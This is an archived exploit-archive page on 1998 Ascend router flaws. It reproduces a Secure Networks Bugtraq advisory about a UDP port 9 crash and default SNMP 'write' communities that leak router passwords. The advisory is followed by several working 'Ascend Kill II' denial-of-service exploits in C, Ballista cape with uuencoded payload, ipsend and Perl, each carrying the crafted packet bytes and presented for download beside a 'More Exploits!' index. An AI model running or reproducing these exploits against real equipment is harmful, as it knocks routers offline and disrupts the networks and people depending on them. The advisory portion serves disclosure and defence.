Ascend Router Insecurities
Summary |
---|
Description: | There is a flaw in the Ascend router OS which allows the machines to be crashed by certain malformed UDP probe packets. Also the routers have a default SNMP "write" community which allows attackers to download the entire Ascend configuration file. |
Author: | "Secure Networks Inc." <sni@SECURENETWORKS.COM> |
Compromise: | Download sensitive ascend configuration information (passwords, etc.) plus a remote DOS attack to take out the router. |
Vulnerable Systems: | Ascend Pipeline and MAX routers including OS release 5.0Ap42 (MAX) and 5.0A (Pipeline). |
Date: | 16 March 1998 |
Notes: | Whee! We've got C exploit, CAPE exploit, IPsend exploit, and a Perl exploit! |
Details |
---|
Date: Mon, 16 Mar 1998 13:49:40 -0700 From: "Secure Networks Inc." <sni@SECURENETWORKS.COM> To: BUGTRAQ@NETSPACE.ORG Subject: SNI-26: Ascend Router Security Issues -----BEGIN PGP SIGNED MESSAGE----- ###### ## ## ###### ## ### ## ## ###### ## # ## ## ## ## ### ## ###### . ## ## . ######. Secure Networks Inc. Security Advisory March 16, 1998 Security Issues with Ascend Routing Hardware - ----------------------------------------------------------------------------- SYNOPSIS Ascend Communications provides several popular routing and access-server solution, including the Pipeline access router and the MAX access server. Due to problems in the Ascend operating system that runs on these platforms, it is possible to deny service to networks that depend on them. Additionally, knowledge of the SNMP "write" community (which defaults to "write") enables an attacker to download the entire configuration file of the router, which contains access passwords and other sensitive information. - ----------------------------------------------------------------------------- DESCRIPTION of DENIAL OF SERVICE PROBLEM Ascend provides a configuration tool for their equipment which enables operators to reconfigure routers via a graphical interface. This tool is called the "Ascend Java Configurator". The Ascend Configurator is capable of locating Ascend routers on a network, using a special probe protocol. In order to locate Ascend routers, the Configurator broadcasts a specially formatted UDP packet to the "discard" port (port 9). Ascend routers listen for these packets and respond with another UDP packet that contains the symbolic name of the router. In this manner, the Configurator can build a list of all Ascend routers on the local network. By sending a specially formatted malformed probe packet to the discard port of an Ascend router, an attacker can cause an Ascend router to lock up. Attackers can easily discover Ascend routers to crash by sending probe packets to the discard port of arbitrary ranges of addresses; only Ascend routers will respond to them. - ----------------------------------------------------------------------------- DESCRIPTION of SNMP SECURITY ISSUE Ascend routers are manageable by the SNMP protocol. Ascend's SNMP support includes the ability to read and write MIB variables. Ascend's SNMP system is protected by the SNMP community definitions, which act as passwords for SNMP access. By default, the SNMP "read" password is "public", and the SNMP "write" password is "write". An attacker that can guess the SNMP "read" community can read arbitrary MIB variables, and an attacker that can guess the "write" community can set arbitrary MIB variables to new values. Ascend provides a vendor-specific extension MIB. This MIB includes variables specific to Ascend equipment. Among these variables is a group of settings called "sysConfigTftp", which allow the configuration of the router to be manipulated via the TFTP protocol. By writing to these variables with SNMP "set" messages, an attacker can download the entire configuration of the Ascend router. The full configuration of an Ascend router includes the telnet password (knowledge of which allows an attacker to gain telnet access to the Ascend menu interface), all the enhanced access passwords (allowing an attacker to reconfigure the router from the menu interface), network protocol authentication keys (including RADIUS and OSPF keys), usernames and passwords for incoming connections, and usernames, passwords, and dial-up phone numbers for outgoing connections. All of this information is in plaintext. An attacker with full access to an Ascend router can also use it to "sniff" the networks it is attached to. Ascend routers have an extensive (and largely undocumented) debugging interface; functions are included in this interface to obtain hexadecimal dumps of raw Ethernet, ISDN, DS1, and modem traffic. - ----------------------------------------------------------------------------- VULNERABLE SYSTEMS These issues are known to be relevant to Ascend Pipeline and MAX networking equipment. These vulnerabilities have been confirmed in Ascend's operating system at version 5.0Ap42 (MAX) and 5.0A (Pipeline). Ascend's 6.0 operating system disables SNMP "write" access by default. Previous versions of the software enable SNMP "write" access with a default community of "write". - ----------------------------------------------------------------------------- RESOLUTION The denial-of-service issue detailed in this advisory is due to an implementation flaw in Ascend's software. While no immediate fix is available, it is possible to work around this problem by filtering out packets to the UDP discard port (9). Because SNMP "write" access on an Ascend router is equivalent to complete administrative access, it is very important that the community chosen is hard to guess. Deployed Ascend equipment should be checked to ensure that default (or easily guessed) communities are not in use. The SNMP configuration of an Ascend router is available through the menuing system, as "Ethernet...Mod Config...SNMP Options...". - ----------------------------------------------------------------------------- ADDITIONAL INFORMATION These issues were identified originally by Jennifer Myers and Thomas H. Ptacek at Secure Networks, Inc. SNI thanks Kit Knox of CONNECTnet INS, Inc. for his assistance with this work. Information about Ascend Communications is available at their website at http://www.ascend.com. Products mentioned in this advisory are trademarks of Ascend. - ----------------------------------------------------------------------------- ABOUT SECURE NETWORKS, INC. Secure Networks, Inc. (SNI) is a security research and development company based in Calgary, Alberta, Canada. SNI is the largest independent source of full-disclosure security advisories and new vulnerability information in the world. For more information about this or other advisories, contact us at <sni@secnet.com>. A PGP key is provided if privacy is required. For the full text of this and all of SNI's other advisories, see our web page at "http://www.secnet.com/advisories/". General information about SNI is available at "http://www.secnet.com". - ----------------------------------------------------------------------------- COPYRIGHT INFORMATION he contents of this advisory are Copyright (C) 1998 Secure Networks Inc, and may be distributed freely provided that no fee is charged for distribution, and that proper credit is given. - ----------------------------------------------------------------------------- Type Bits/KeyID Date User ID pub 1024/9E55000D 1997/01/13 Secure Networks Inc. <sni@secnet.com> Secure Networks <security@secnet.com> - - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3ia mQCNAzLaFzIAAAEEAKsVzPR7Y6oFN5VPE/Rp6Sm82oE0y6Mkuof8QzERV6taihn5 uySb31UeNJ4l6Ud9alOPT/0YdeOO9on6eD1iU8qumFxzO3TLm8nTAdZehQSAQfoa rWmpwj7KpXN/3n+VyBWvhpBdKxe08SQN4ZjvV5HXy4YIrE5bTbgIhFKeVQANAAUR tCVTZWN1cmUgTmV0d29ya3MgSW5jLiA8c25pQHNlY25ldC5jb20+iQCVAwUQM1yd EB/bLKAOe7p9AQFptAQAiYpaZCpSmGgr05E698Z3t5r5BPAKUEtgvF53AvZUQLxz ZsYsVU5l5De0qKWJOQ/9LiDyWu1lvKhlTphbLy2RatWD4kO3oQL9v3TpSXm2WQhU uIzyZvj7S5ENodNnKn+gCDIvbou6OMot+7dRbWWgN2oabbru4CSlOxbG++yaTz+J AJUDBRAzTefbtOXez5VgyLkBAd0bA/43eGEgvPOFK+HHWCPpkSWCwtrtDU/dxOVz 9erHnT/CRxeojCI+50f71Qe+kvx9Q1odz2Jl/fLxhnPQdbPnpWblIbu4F8H+Syrj HTilDrl1DWa/nUNgK8sb27SMviELczP1a8gwA1eo5SUCG5TWLLTAzjWOgTxod2Ha OwseUHmqVIkAlQMFEDNOVsr/d6Iw8NVIbQEBxM0D/14XRfgSLwszgJcVbslMHm/B fF6tHoWYojzQle3opOuMYHNN8GsMZRkc1qQ8QuNA9Aj5+qDqEontGjV5IvhBu1fY FM77AhagskaFCZxwqV64Qrk328WDO89NGSd+RuovVNruDdn20TxNCEVuPTHjI0UA 8H+E6FW9jexg6RTHhPXYtCVTZWN1cmUgTmV0d29ya3MgPHNlY3VyaXR5QHNlY25l dC5jb20+iQCVAwUQMtqTKB/bLKAOe7p9AQFw5wQAgUwqJ+ZqfEy/lO1srU3nzxLA X0uHGHrMptRy/LFo8swD6G1TtWExUc3Yv/6g2/YK09b5WmplEJ+Q09maQIw+RU/s cIY+EsPauqIq4JTGh/Nm0Z4UDl2Y1x4GNtm0YqezxUPS0P0A3LHVLJ3Uo5og0G8O gPNrfbVz5ieT14OSCWCJAJUDBRAy2hd2/3eiMPDVSG0BAVNhBACfupfAcNhhnQaq aI03DOOiZSRjvql1xw4V+pPhM+IksdSK3YNUZVJJtANacgDhBT+jAPRaYbBWI3A5 ZMdcSNM8aTG0LWMLIOiOYEm6Lgd3idRBFN0Js08eyITl8mhZ33mDe4I0KQri9UiV ZcPYTbb9CWM6Hv2cMbt6S6kLnFziqIkAlQMFEDLaF0+4CIRSnlUADQEBCLoEAJwt UofDgvyZ4nCDx1KKAPkkXBRaPMWBp46xeTVcxaYiloZfwHfpk1h2mEJAxmAsvizl OtIppHl4isUxcGi/E2mLCLMvis22/IQP/9obPahPvgNaMLVtZljO1Nv3QFEkNciL FEUTNJHR1ko7ibCxkBs4cOpirFuvTMDvWnNaXAf8 =DchE - - -----END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBNQ2HmbgIhFKeVQANAQHmEwP/fL4rcOIoHEkHkqE/W7FBYoU8OnJBdtjw lL2X4Gp7EJAMOQV9uSrFHhhNUTYM7FYH6NS7hR+/fz5+sd1GN/bd8jOQHnvWn0Rw 7u2y0xhd1hcMc169ASew9fsiNP38VXCeYoxCSpCu4Wd42PT8avZIbGmPR9BgnhgP dzLlygd7Hhs= =+Y/d -----END PGP SIGNATURE----- Date: Mon, 16 Mar 1998 19:28:28 -0600 From: Aleph One <aleph1@DFW.NET> To: BUGTRAQ@NETSPACE.ORG Subject: Ascend Kill II - C version /* * Ascend Kill II - C version * * (C) 1998 Rootshell - http://www.rootshell.com/ <info@rootshell.com> * * Distribute freely. * * Released: 3/16/98 * * Thanks to Secure Networks. See SNI-26: Ascend Router Security Issues * (http://www.secnet.com/sni-advisories/sni-26.ascendrouter.advisory.html) * * Sends a specially constructed UDP packet on the discard port (9) * which cause Ascend routers to reboot. (Warning! Ascend routers will * process these if they are broadcast packets.) * * Compiled under RedHat 5.0 with glibc. * * NOTE: This program is NOT to be used for malicous purposes. This is * intenteded for educational purposes only. By using this program * you agree to use this for lawfull purposes ONLY. * * It is worth mentioning that Ascend has known about this bug for quite * some time. * * Fix: * * Filter inbound UDP on port 9. * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <linux/udp.h> #include <netdb.h> #define err(x) { fprintf(stderr, x); exit(1); } #define errs(x, y) { fprintf(stderr, x, y); exit(1); } /* This magic packet was taken from the Java Configurator */ char ascend_data[] = { 0x00, 0x00, 0x07, 0xa2, 0x08, 0x12, 0xcc, 0xfd, 0xa4, 0x81, 0x00, 0x00, 0x00, 0x00, 0x12, 0x34, 0x56, 0x78, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0xff, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53}; unsigned short in_cksum (addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } int sendpkt_udp (sin, s, data, datalen, saddr, daddr, sport, dport) struct sockaddr_in *sin; unsigned short int s, datalen, sport, dport; unsigned long int saddr, daddr; char *data; { struct iphdr ip; struct udphdr udp; static char packet[8192]; char crashme[500]; int i; ip.ihl = 5; ip.version = 4; ip.tos = rand () % 100;; ip.tot_len = htons (28 + datalen); ip.id = htons (31337 + (rand () % 100)); ip.frag_off = 0; ip.ttl = 255; ip.protocol = IPPROTO_UDP; ip.check = 0; ip.saddr = saddr; ip.daddr = daddr; ip.check = in_cksum ((char *) &ip, sizeof (ip)); udp.source = htons (sport); udp.dest = htons (dport); udp.len = htons (8 + datalen); udp.check = (short) 0; memcpy (packet, (char *) &ip, sizeof (ip)); memcpy (packet + sizeof (ip), (char *) &udp, sizeof (udp)); memcpy (packet + sizeof (ip) + sizeof (udp), (char *) data, datalen); /* Append random garbage to the packet, without this the router will think this is a valid probe packet and reply. */ for (i = 0; i < 500; i++) crashme[i] = rand () % 255; memcpy (packet + sizeof (ip) + sizeof (udp) + datalen, crashme, 500); return (sendto (s, packet, sizeof (ip) + sizeof (udp) + datalen + 500, 0, (struct sockaddr *) sin, sizeof (struct sockaddr_in))); } unsigned int lookup (host) char *host; { unsigned int addr; struct hostent *he; addr = inet_addr (host); if (addr == -1) { he = gethostbyname (host); if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL)) return 0; bcopy (*(he->h_addr_list), &(addr), sizeof (he->h_addr_list)); } return (addr); } void main (argc, argv) int argc; char **argv; { unsigned int saddr, daddr; struct sockaddr_in sin; int s, i; if (argc != 3) errs ("Usage: %s <source_addr> <dest_addr>\n", argv[0]); if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) err ("Unable to open raw socket.\n"); if (!(saddr = lookup (argv[1]))) err ("Unable to lookup source address.\n"); if (!(daddr = lookup (argv[2]))) err ("Unable to lookup destination address.\n"); sin.sin_family = AF_INET; sin.sin_port = 9; sin.sin_addr.s_addr = daddr; if ((sendpkt_udp (&sin, s, &ascend_data, sizeof (ascend_data), saddr, daddr, 9, 9)) == -1) { perror ("sendpkt_udp"); err ("Error sending the UDP packet.\n"); } } Date: Mon, 16 Mar 1998 19:30:28 -0600 From: Aleph One <aleph1@DFW.NET> To: BUGTRAQ@NETSPACE.ORG Subject: Ascend Kill II - Ballista "cape" version [ from rootshell ] Secure Networks makes security auditing software called Ballista. It has its own scripting language called cape. Here is a version of Ascend Kill II written in cape. Check out how small it is! -- cut here -- iface=le0 # Enter your default gateway gateway=10.0.0.1 ip # Source IP of packet ip_src=1.2.3.4 # Address of Ascend router ip_dst=10.0.0.2 ip_version=4 ip_proto=IPPROTO_UDP ip_flags=0 ip_done udp udp_sport=9 udp_dport=9 udp_done data_file=ascend_data end_of_packet -- cut here -- Here is the data that cape needs. It is uuencoded. begin 644 ascend_data.uue M 'H@@2S/VD@0 2-%9X__________\ 3D%-14Y!345.04U%3D%-1?]0 M05-35T]21%!!4U-73U)$4$%34V9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F M9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F M9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F M9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F 99F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F end Date: Wed, 18 Mar 1998 12:43:29 +1100 From: Darren Reed <avalon@COOMBS.ANU.EDU.AU> To: BUGTRAQ@NETSPACE.ORG Subject: Re: Ascend Kill II - Ballista "cape" version In some mail from Aleph One, sie said: > > [ from rootshell ] > > Secure Networks makes security auditing software called Ballista. It has > its own scripting language called cape. Here is a version of Ascend Kill II > written in cape. Check out how small it is! > > -- cut here -- > -- cut here -- > > Here is the data that cape needs. It is uuencoded. > > begin 644 ascend_data.uue > M 'H@@2S/VD@0 2-%9X__________\ 3D%-14Y!345.04U%3D%-1?]0 > M05-35T]21%!!4U-73U)$4$%34V9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F > M9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F > M9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F > M9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F > 99F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F > > end Using that data file with ipsend v2: interface { ifname le0; mtu 1500; }; ipv4 { src 1.1.1.1; dst 10.0.0.2; udp { sport 9; dport 9; data { file ascend_data.uue; }; }; }; send { via 10.0.0.1; };Here is the perl exploit:
Date: Tue, 17 Mar 1998 08:47:20 -0800
From: Kit Knox <kit@CONNECTNET.COM>
To: BUGTRAQ@NETSPACE.ORG
Subject: Ascend Kill II - perl version
This is for everyone who had problems with the Linux only version in C. This should be pretty cross platform. (Requires perl 5.x)
#!/usr/bin/perl
#
# Ascend Kill II - perl version
# (C) 1998 Rootshell - http://www.rootshell.com/ - <info@rootshell.com>
#
# Released: 3/17/98
#
# Thanks to Secure Networks. See SNI-26: Ascend Router Security Issues
# (http://www.secnet.com/sni-advisories/sni-26.ascendrouter.advisory.html)
#
# NOTE: This program is NOT to be used for malicous purposes. This is
# intenteded for educational purposes only. By using this program # you agree to use this for lawfull purposes ONLY.
#
#
use Socket;
require "getopts.pl";
sub AF_INET {2;}
sub SOCK_DGRAM {2;}
sub ascend_kill {
$remotehost = shift(@_);
chop($hostname = `hostname`);
$port = 9;
$SIG{'INT'} = 'dokill';
$sockaddr = 'S n a4 x8';
($pname, $aliases, $proto) = getprotobyname('tcp');
($pname, $aliases, $port) = getservbyname($port, 'tcp')
unless $port =~ /^\d+$/;
($pname, $aliases, $ptype, $len, $thisaddr) =
gethostbyname($hostname);
$this = pack($sockaddr, AF_INET, 0, $thisaddr);
($pname, $aliases, $ptype, $len, $thataddr) = gethostbyname($remotehost);
$that = pack($sockaddr, AF_INET, $port, $thataddr);
socket(S, &AF_INET, &SOCK_DGRAM, 0);
$msg = pack("c64",
0x00, 0x00, 0x07, 0xa2, 0x08, 0x12, 0xcc, 0xfd, 0xa4, 0x81, 0x00, 0x00,
0x00, 0x00, 0x12, 0x34, 0x56, 0x78, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0x00, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e,
0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0xff, 0x50, 0x41, 0x53, 0x53,
0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44,
0x50, 0x41, 0x53, 0x53);
for ($i=0; $i<500; $i++) {
$msg .= pack("c1", 0xff);
}
send(S,$msg,0,$that) || die "send:$!";
}
if ($ARGV[0] eq '') {
print "usage: akill2.pl <remote_host>\n";
exit;
}
&ascend_kill($ARGV[0]);
More Exploits! |
---|
The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:
All OS's | Linux | Solaris/SunOS | Micro$oft |
*BSD | Macintosh | AIX | IRIX |
ULTRIX/Digital UNIX | HP/UX | SCO | Remote exploits |
This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: